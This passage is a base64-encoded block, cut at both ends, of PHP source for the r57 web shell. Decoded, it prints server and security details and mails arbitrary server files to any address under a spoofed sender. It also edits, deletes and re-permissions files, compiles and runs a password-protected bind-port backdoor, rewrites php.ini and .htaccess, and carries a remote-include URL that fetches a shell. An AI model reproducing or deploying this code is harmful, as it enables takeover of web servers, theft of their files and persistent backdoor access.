az48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjayB3aWR0aD0xNjA+PGZvbnQgZmFjZT1WZXJk YW5hIHNpemU9Mj4nLndzKDMpLic8Zm9udCBmYWNlPVdpbmdkaW5ncyBzaXplPTggY29sb3I9V2hpdGU+ PGI+VjwvYj48L2ZvbnQ+PGI+Jy53cygzKS5iYXNlNjRfZGVjb2RlKCRzaGVsbHZpYykud3MoMykuJzxm b250IGZhY2U9V2luZ2RpbmdzIHNpemU9OCBjb2xvcj1XaGl0ZT48Yj5WPC9iPjwvZm9udD48L2I+PC9m b250PjwvdGQ+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48Zm9udCBmYWNlPVZlcmRhbmEgc2l6 ZT0tMj4nOw0KZWNobyB3cygyKS4iPGI+Ii5kYXRlICgiZC1tLVkgSDppOnMiKS4iPC9iPiI7DQplY2hv IHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BocGluZm8gdGl0bGU9 XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NiddLiJcIj48Yj5waHBpbmZvPC9iPjwvYT4gIi4kcmI7 DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BocGluaSB0 aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ3J10uIlwiPjxiPnBocC5pbmk8L2I+PC9hPiAi LiRyYjsNCmlmKCR1bml4KQ0KIHsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsn UEhQX1NFTEYnXS4iP2NwdSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUwJ10uIlwiPjxi PmNwdTwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQ SFBfU0VMRiddLiI/bWVtIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTEnXS4iXCI+PGI+ bWVtPC9iPjwvYT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BI UF9TRUxGJ10uIj91c2VycyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk1J10uIlwiPjxi PnVzZXJzPC9iPjwvYT4gIi4kcmI7DQogfQ0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJW RVJbJ1BIUF9TRUxGJ10uIj90bXAgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0OCddLiJc Ij48Yj50bXA8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVS WydQSFBfU0VMRiddLiI/ZGVsZXRlIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDknXS4i XCI+PGI+ZGVsZXRlPC9iPjwvYT4gIi4kcmIuIjxicj4iOw0KZWNobyAiPC9iPiIud3MoMik7DQplY2hv ICJQSFAgdmVyc2lvbjogPGI+Ii5AcGhwdmVyc2lvbigpLiI8L2I+IjsNCiRjdXJsX29uID0gQGZ1bmN0 aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7DQplY2hvIHdzKDIpOw0KZWNobyAiY1VSTDogPGI+Ii4o KCRjdXJsX29uKT8oIjxmb250IGNvbG9yPUdyZWVuPk9OPC9mb250PiIpOigiPGZvbnQgY29sb3I9V2hp dGU+T0ZGPC9mb250PiIpKTsNCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiTXlTUUw6IDxiPiI7DQok

bXlzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7DQppZigkbXlzcWxfb24p ew0KZWNobyAiPGZvbnQgY29sb3I9R3JlZW4+T048L2ZvbnQ+IjsgfSBlbHNlIHsgZWNobyAiPGZvbnQg Y29sb3I9V2hpdGU+T0ZGPC9mb250PiI7IH0NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiTVNTUUw6 IDxiPiI7DQokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQppZigk bXNzcWxfb24pe2VjaG8gIjxmb250IGNvbG9yPUdyZWVuPk9OPC9mb250PiI7fWVsc2V7ZWNobyAiPGZv bnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PiI7fQ0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICJQb3N0 Z3JlU1FMOiA8Yj4iOw0KJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOw0KaWYo JHBnX29uKXtlY2hvICI8Zm9udCBjb2xvcj1HcmVlbj5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250 IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiT3JhY2xl OiA8Yj4iOw0KJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7DQppZigkb3JhX29u KXtlY2hvICI8Zm9udCBjb2xvcj1HcmVlbj5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9y PVdoaXRlPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj48YnI+IjsNCmVjaG8gd3MoMikuIlNhZmVfbW9k ZTogPGI+IjsNCmVjaG8gKCgkc2FmZV9tb2RlKT8oIjxmb250IGNvbG9yPUdyZWVuPk9OPC9mb250PiIp OigiPGZvbnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PiIpKTsNCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNo byAiT3Blbl9CYXNlZGlyOiA8Yj4iOw0KaWYoJG9wZW5fYmFzZWRpcikgeyBpZiAoJyc9PSgkZGY9QGlu aV9nZXQoJ29wZW5fYmFzZWRpcicpKSkge2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPmluaV9nZXQgZGlz YWJsZSE8L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPiRkZjwvZm9udD48 L2I+Ijt9O30NCmVsc2Uge2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5PTkU8L2ZvbnQ+PC9iPiI7fQ0K ZWNobyB3cygyKS4iU2FmZV9FeGVjX0RpcjogPGI+IjsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9n ZXQnKSkgeyBpZiAoJyc9PSgkZGY9QGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKSkge2VjaG8g Ijxmb250IGNvbG9yPUdyZWVuPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9y PWdyZWVuPiRkZjwvZm9udD48L2I+Ijt9O30NCmVsc2Uge2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPmlu aV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQ0KZWNobyB3cygyKS4iU2FmZV9HaWQ6IDxiPiI7DQpp ZihAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHsgaWYgKEBpbmlfZ2V0KCdzYWZlX21vZGVfZ2lk JykpIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNobyAiPGZv bnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PjwvYj4iO307fQ0KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9 V2hpdGU+aW5pX2dldCBkaXNhYmxlITwvZm9udD48L2I+Ijt9DQplY2hvIHdzKDIpLiJTYWZlX0luY2x1 ZGVfRGlyOiA8Yj4iOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7IGlmICgnJz09KCRk Zj1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpKSB7ZWNobyAiPGZvbnQgY29sb3I9R3Jl ZW4+Tk9ORTwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+JGRmPC9mb250 PjwvYj4iO307fQ0KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+aW5pX2dldCBkaXNhYmxlITwv Zm9udD48L2I+Ijt9DQplY2hvIHdzKDIpLiJTcWwuc2FmZV9tb2RlOiA8Yj4iOw0KaWYoQGZ1bmN0aW9u X2V4aXN0cygnaW5pX2dldCcpKSB7IGlmIChAaW5pX2dldCgnc3FsLnNhZmVfbW9kZScpKSB7ZWNobyAi PGZvbnQgY29sb3I9R3JlZW4+T048L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPVdo aXRlPk9GRjwvZm9udD48L2I+Ijt9O30NCmVsc2Uge2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPmluaV9n ZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQ0KZWNobyAiPC9iPjxicj4iLndzKDIpOw0KZWNobyAiRGlz YWJsZSBmdW5jdGlvbnMgOiA8Yj4iOw0KaWYoJyc9PSgkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rp b25zJykpKXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5OT05FPC9mb250PjwvYj4iO31lbHNle2VjaG8g Ijxmb250IGNvbG9yPVdoaXRlPiRkZjwvZm9udD48L2I+Ijt9DQokZnJlZSA9IEBkaXNrZnJlZXNwYWNl KCRkaXIpOw0KaWYgKCEkZnJlZSkgeyRmcmVlID0gMDt9DQokYWxsID0gQGRpc2tfdG90YWxfc3BhY2Uo JGRpcik7DQppZigkdXN0X3Upe2VjaG8gIjxicj4iLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQx MzcnXS4iOiA8Zm9udCBjb2xvcj1ibHVlPiIuJHVzdF91LiI8L2ZvbnQ+Ijt9Ow0KDQppZigkdXN0X2Qp e2VjaG8gIjxicj4iLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzgnXS4iOiA8Zm9udCBjb2xv cj1yZWQ+Ii4kdXN0X2QuIjwvZm9udD4iO307DQoNCmlmKCRkb3dubG9hZGVyKXtlY2hvICI8YnI+Ii53 cygyKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQyJ10uIjogPGZvbnQgY29sb3I9Ymx1ZT4iLiRkb3du bG9hZGVyLiI8L2ZvbnQ+Ijt9Ow0KaWYgKCEkYWxsKSB7JGFsbCA9IDA7fQ0KZWNobyAiPGJyPiIud3Mo MikuIkZyZWUgc3BhY2UgOiA8Yj4iLnZpZXdfc2l6ZSgkZnJlZSkuIjwvYj4gVG90YWwgc3BhY2U6IDxi PiIudmlld19zaXplKCRhbGwpLiI8L2I+IjsNCmVjaG8gJzwvZm9udD48L3RkPjwvdHI+PHRhYmxlPg0K PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+ DQo8dHI+PHRkIGNsYXNzPW1haW4gYWxpZ249cmlnaHQgd2lkdGg9MTAwPic7DQplY2hvICRmb250Ow0K aWYoJHVuaXgpew0KZWNobyAnPGZvbnQgY29sb3I9V2hpdGU+PGI+dW5hbWUgLWEgOicud3MoMSkuJzxi cj5zeXNjdGwgOicud3MoMSkuJzxicj4kT1NUWVBFIDonLndzKDEpLic8YnI+U2VydmVyIDonLndzKDEp Lic8YnI+aWQgOicud3MoMSkuJzxicj5wd2QgOicud3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7DQplY2hv ICc8L3RkPjx0ZCAgY2xhc3M9bWFpbj4nOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIg Y29sb3I9V2hpdGU+PGI+IjsNCmVjaG8oKCFlbXB0eSgkdW5hbWUpKT8od3MoMykuQHN1YnN0cigkdW5h bWUsMCwxMjApLiI8YnI+Iik6KHdzKDMpLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiIp KTsNCmVjaG8gd3MoMykuJHN5c2N0bC4iPGJyPiI7DQplY2hvIHdzKDMpLmV4KCdlY2hvICRPU1RZUEUn KS4iPGJyPiI7DQplY2hvIHdzKDMpLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIjxicj4i Ow0KaWYoIWVtcHR5KCRpZCkpIHsgZWNobyB3cygzKS4kaWQuIjxicj4iOyB9DQplbHNlIGlmKGZ1bmN0 aW9uX2V4aXN0cygncG9zaXhfZ2V0ZXVpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdp

ZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSAmJiBmdW5jdGlvbl9leGlzdHMo J3Bvc2l4X2dldHB3dWlkJykpDQogew0KICRldXNlcmluZm8gID0gQHBvc2l4X2dldHB3dWlkKEBwb3Np eF9nZXRldWlkKCkpOw0KICRlZ3JvdXBpbmZvID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lk KCkpOw0KIGVjaG8gd3MoMykuJ3VpZD0nLiRldXNlcmluZm9bJ3VpZCddLicgKCAnLiRldXNlcmluZm9b J25hbWUnXS4nICkgZ2lkPScuJGVncm91cGluZm9bJ2dpZCddLicgKCAnLiRlZ3JvdXBpbmZvWyduYW1l J10uJyApPGJyPic7DQogfQ0KZWxzZSBlY2hvIHdzKDMpLiJ1c2VyPSIuQGdldF9jdXJyZW50X3VzZXIo KS4iIHVpZD0iLkBnZXRteXVpZCgpLiIgZ2lkPSIuQGdldG15Z2lkKCkuIjxicj4iOw0KZWNobyB3cygz KS4kZGlyOw0KZWNobyB3cygzKS4nKCAnLnBlcm1zKEBmaWxlcGVybXMoJGRpcikpLicgKSc7DQplY2hv ICI8L2I+PC9mb250PiI7DQp9DQplbHNlDQp7DQplY2hvICc8Zm9udCBjb2xvcj1XaGl0ZT48Yj5PUyA6 Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPlVzZXIgOicud3MoMSkuJzxicj5wd2QgOicu d3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7DQplY2hvICc8L3RkPjx0ZCBjbGFzcz1tYWluPic7DQplY2hv ICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj4iOw0KZWNobyB3cygzKS5A c3Vic3RyKEBwaHBfdW5hbWUoKSwwLDEyMCkuIjxicj4iOw0KZWNobyB3cygzKS5Ac3Vic3RyKCRTRVJW RVJfU09GVFdBUkUsMCwxMjApLiI8YnI+IjsNCmVjaG8gd3MoMykuQGdldGVudigiVVNFUk5BTUUiKS4i PGJyPiI7DQoNCmVjaG8gd3MoMykuJGRpcjsNCmVjaG8gIjxicj48L2ZvbnQ+IjsNCn0NCmVjaG8gIjwv Zm9udD4iOw0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiRmID0gJzxicj4nOw0KaWYoIWVtcHR5 KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtYWlsIikNCiB7DQogJHJlcyA9IG1haWwo JF9QT1NUWyd0byddLCRfUE9TVFsnc3ViaiddLCRfUE9TVFsndGV4dCddLCJGcm9tOiAiLiRfUE9TVFsn ZnJvbSddLiJcclxuIik7DQogZXJyKDYrJHJlcyk7DQogJF9QT1NUWydjbWQnXT0iIjsNCiB9DQppZigh ZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWxfZmlsZSIgJiYgIWVtcHR5 KCRfUE9TVFsnbG9jX2ZpbGUnXSkpDQogew0KIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydsb2NfZmls ZSddLCJyIikpIHsgZXJyKDEsJF9QT1NUWydsb2NfZmlsZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0K IGVsc2UNCiAgew0KICAgICRmaWxlbmFtZSA9IEBiYXNlbmFtZSgkX1BPU1RbJ2xvY19maWxlJ10pOw0K ICAgICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydsb2NfZmlsZSddKSk7 DQogICAgZmNsb3NlKCRmaWxlKTsNCiAgICAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOw0K ICAgIGNvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTsNCiAgICAk YXR0YWNoID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICJuYW1lIj0+JGZpbGVuYW1lLA0KICAg ICAgICAgICAgICAgICAgICAidHlwZSI9PiRtaW1lX3R5cGUsDQogICAgICAgICAgICAgICAgICAgICJj b250ZW50Ij0+JGZpbGVkdW1wDQogICAgICAgICAgICAgICAgICAgKTsNCiAgICBpZihlbXB0eSgkX1BP U1RbJ3N1YmonXSkpIHsgJF9QT1NUWydzdWJqJ10gPSAnZmlsZSBmcm9tIHI1N3NoZWxsJzsgfQ0KICAg IGlmKGVtcHR5KCRfUE9TVFsnZnJvbSddKSkgeyAkX1BPU1RbJ2Zyb20nXSA9ICdiaWxseUBtaWNyb3Nv ZnQuY29tJzsgfQ0KICAgICRyZXMgPSBtYWlsYXR0YWNoKCRfUE9TVFsndG8nXSwkX1BPU1RbJ2Zyb20n XSwkX1BPU1RbJ3N1YmonXSwkYXR0YWNoKTsNCiAgICBlcnIoNiskcmVzKTsNCiAgICAkX1BPU1RbJ2Nt ZCddPSIiOw0KICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10g PT0gImZpbmRfdGV4dCIpDQp7DQokX1BPU1RbJ2NtZCddID0gJ2ZpbmQgJy4kX1BPU1RbJ3NfZGlyJ10u JyAtbmFtZSBcJycuJF9QT1NUWydzX21hc2snXS4nXCcgfCB4YXJncyBncmVwIC1FIFwnJy4kX1BPU1Rb J3NfdGV4dCddLidcJyc7DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQn XT09ImNoXyIpDQogew0KIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkNCiAgIHsNCiAgIGNhc2UgJ293bic6 DQogICBAY2hvd24oJF9QT1NUWydwYXJhbTEnXSwkX1BPU1RbJ3BhcmFtMiddKTsNCiAgIGJyZWFrOw0K ICAgY2FzZSAnZ3JwJzoNCiAgIEBjaGdycCgkX1BPU1RbJ3BhcmFtMSddLCRfUE9TVFsncGFyYW0yJ10p Ow0KICAgYnJlYWs7DQogICBjYXNlICdtb2QnOg0KICAgQGNobW9kKCRfUE9TVFsncGFyYW0xJ10saW50 dmFsKCRfUE9TVFsncGFyYW0yJ10sIDgpKTsNCiAgIGJyZWFrOw0KICAgfQ0KICRfUE9TVFsnY21kJ109 IiI7DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpDQog ew0KICAgc3dpdGNoKCRfUE9TVFsnd2hhdCddKQ0KICAgew0KICAgICBjYXNlICdmaWxlJzoNCiAgICAg IGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImNyZWF0ZSIpDQogICAgICAgew0KICAgICAgIGlmKGZpbGVf ZXhpc3RzKCRfUE9TVFsnbWtfbmFtZSddKSB8fCAhJGZpbGU9QGZvcGVuKCRfUE9TVFsnbWtfbmFtZSdd LCJ3IikpIHsgZXJyKDIsJF9QT1NUWydta19uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogICAg ICAgZWxzZSB7DQogICAgICAgIGZjbG9zZSgkZmlsZSk7DQogICAgICAgICRfUE9TVFsnZV9uYW1lJ10g PSAkX1BPU1RbJ21rX25hbWUnXTsNCiAgICAgICAgJF9QT1NUWydjbWQnXT0iZWRpdF9maWxlIjsNCiAg ICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJn Y29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50 ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEn XS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgICB9DQogICAgICAg fQ0KICAgICAgIGVsc2UgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiZGVsZXRlIikNCiAgICAgICB7DQog ICAgICAgaWYodW5saW5rKCRfUE9TVFsnbWtfbmFtZSddKSkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUg Y2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWlu IGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+ PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjMnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+ PC90YWJsZT4iOw0KICAgICAgICRfUE9TVFsnY21kJ109IiI7DQogICAgICAgfQ0KICAgICBicmVhazsN CiAgICAgY2FzZSAnZGlyJzoNCiAgICAgIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImNyZWF0ZSIpew0K

ICAgICAgaWYobWtkaXIoJF9QT1NUWydta19uYW1lJ10pKQ0KICAgICAgIHsNCiAgICAgICAgICRfUE9T VFsnY21kJ109IiI7DQogICAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0w IGNlbGxzcGFjaW5nPTAgYmdjb2xvcj1XaGl0ZT48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFj az48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRs YW5ndWFnZS4nX3RleHQ2MiddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQog ICAgICAgfQ0KICAgICAgZWxzZSB7IGVycigyLCRfUE9TVFsnbWtfbmFtZSddKTsgJF9QT1NUWydjbWQn XT0iIjsgfQ0KICAgICAgfQ0KICAgICAgZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUi KXsNCiAgICAgIGlmKHJtZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkgZWNobyAiPHRhYmxlIHdpZHRoPTEw MCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1t YWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9 LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjQnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwv dHI+PC90YWJsZT4iOw0KICAgICAgJF9QT1NUWydjbWQnXT0iIjsNCiAgICAgIH0NCiAgICAgYnJlYWs7 DQogICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJlZGl0 X2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2VfbmFtZSddKSkNCiB7DQogaWYoISRmaWxlPUBmb3Blbigk X1BPU1RbJ2VfbmFtZSddLCJyKyIpKSB7ICRvbmx5X3JlYWQgPSAxOyBAZmNsb3NlKCRmaWxlKTsgfQ0K IGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwiciIpKSB7IGVycigxLCRfUE9TVFsnZV9u YW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogZWxzZSB7DQogZWNobyAkdGFibGVfdXAzOw0KIGVj aG8gJGZvbnQ7DQogZWNobyAiPGZvcm0gbmFtZT1zYXZlX2ZpbGUgbWV0aG9kPXBvc3Q+IjsNCiBlY2hv IHdzKDMpLiI8Yj4iLiRfUE9TVFsnZV9uYW1lJ10uIjwvYj4iOw0KIGVjaG8gIjxkaXYgYWxpZ249Y2Vu dGVyPjx0ZXh0YXJlYSBuYW1lPWVfdGV4dCBjb2xzPTEyMSByb3dzPTI0PiI7DQogZWNobyBAaHRtbHNw ZWNpYWxjaGFycyhAZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnZV9uYW1lJ10pKSk7DQogZmNs b3NlKCRmaWxlKTsNCiBlY2hvICI8L3RleHRhcmVhPiI7DQogZWNobyAiPGlucHV0IHR5cGU9aGlkZGVu IG5hbWU9ZV9uYW1lIHZhbHVlPSIuJF9QT1NUWydlX25hbWUnXS4iPiI7DQogZWNobyAiPGlucHV0IHR5 cGU9aGlkZGVuIG5hbWU9ZGlyIHZhbHVlPSIuJGRpci4iPiI7DQogZWNobyAiPGlucHV0IHR5cGU9aGlk ZGVuIG5hbWU9Y21kIHZhbHVlPXNhdmVfZmlsZT4iOw0KIGVjaG8gKCFlbXB0eSgkb25seV9yZWFkKT8o Ijxicj48YnI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDQnXSk6KCI8YnI+PGJyPjxpbnB1dCB0eXBl PXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiAiLiRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddLiIg XCI+IikpOw0KIGVjaG8gIjwvZGl2PiI7DQogZWNobyAiPC9mb250PiI7DQogZWNobyAiPC9mb3JtPiI7 DQogZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiBleGl0KCk7DQogfQ0KIH0NCmlmKCFlbXB0eSgk X1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ic2F2ZV9maWxlIikNCiB7DQogJG10aW1lID0g QGZpbGVtdGltZSgkX1BPU1RbJ2VfbmFtZSddKTsNCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9u YW1lJ10sInciKSkgeyBlcnIoMCwkX1BPU1RbJ2VfbmFtZSddKTsgfQ0KIGVsc2Ugew0KIGlmKCR1bml4 KSAkX1BPU1RbJ2VfdGV4dCddPUBzdHJfcmVwbGFjZSgiXHJcbiIsIlxuIiwkX1BPU1RbJ2VfdGV4dCdd KTsNCiBAZndyaXRlKCRmaWxlLCRfUE9TVFsnZV90ZXh0J10pOw0KIEB0b3VjaCgkX1BPU1RbJ2VfbmFt ZSddLCRtdGltZSwkbXRpbWUpOw0KICRfUE9TVFsnY21kJ109IiI7DQogZWNobyAiPHRhYmxlIHdpZHRo PTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFz cz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNp emU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDUnXS4iPC9iPjwvZm9udD48L2Rpdj48L3Rk PjwvdHI+PC90YWJsZT4iOw0KIH0NCiB9DQoNCmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1w dHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iQyIpKQ0Kew0KIGNmKCIvdG1w L2JkLmMiLCRwb3J0X2JpbmRfYmRfYyk7DQogJGJsYWggPSBleCgiZ2NjIC1vIC90bXAvYmQgL3RtcC9i ZC5jIik7DQogQHVubGluaygiL3RtcC9iZC5jIik7DQogJGJsYWggPSBleCgiL3RtcC9iZCAiLiRfUE9T VFsncG9ydCddLiIgIi4kX1BPU1RbJ2JpbmRfcGFzcyddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBz IC1hdXggfCBncmVwIGJkIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydwaHBfaW5pMSddKSkNCnsNCiBj ZigicGhwLmluaSIsJHBocF9pbmkxKTsNCiAgJF9QT1NUWydjbWQnXT0iIERhIHdyaXRlIHhvbmcgcGhw LmluaSB0aHU/IHRodT8gY29pIGRpIjsNCiB9DQoNCiBpZiAoIWVtcHR5KCRfUE9TVFsnaHRhY2Nlcydd KSkNCnsNCiBjZigiLmh0YWNjZXNzIiwkaHRhY2Nlcyk7DQogICRfUE9TVFsnY21kJ109IkRhIHdyaXRl IHhvbmcgaHRhY2Nlc3MgdGh1PyB0aHU/IGNvaSBkaSAiOw0KIH0NCiAgaWYgKCFlbXB0eSgkX1BPU1Rb J2ZpbGVfaW5pJ10pKQ0Kew0KIGNmKCJpbmkucGhwIiwkc25pX3Jlcyk7DQoNCiAgJF9QT1NUWydjbWQn XT0iIGh0dHA6Ly90YXJnZXQuY29tL2luaS5waHA/c3M9aHR0cDovL3NoZWxsLnR4dD8gRGEgd3JpdGUg 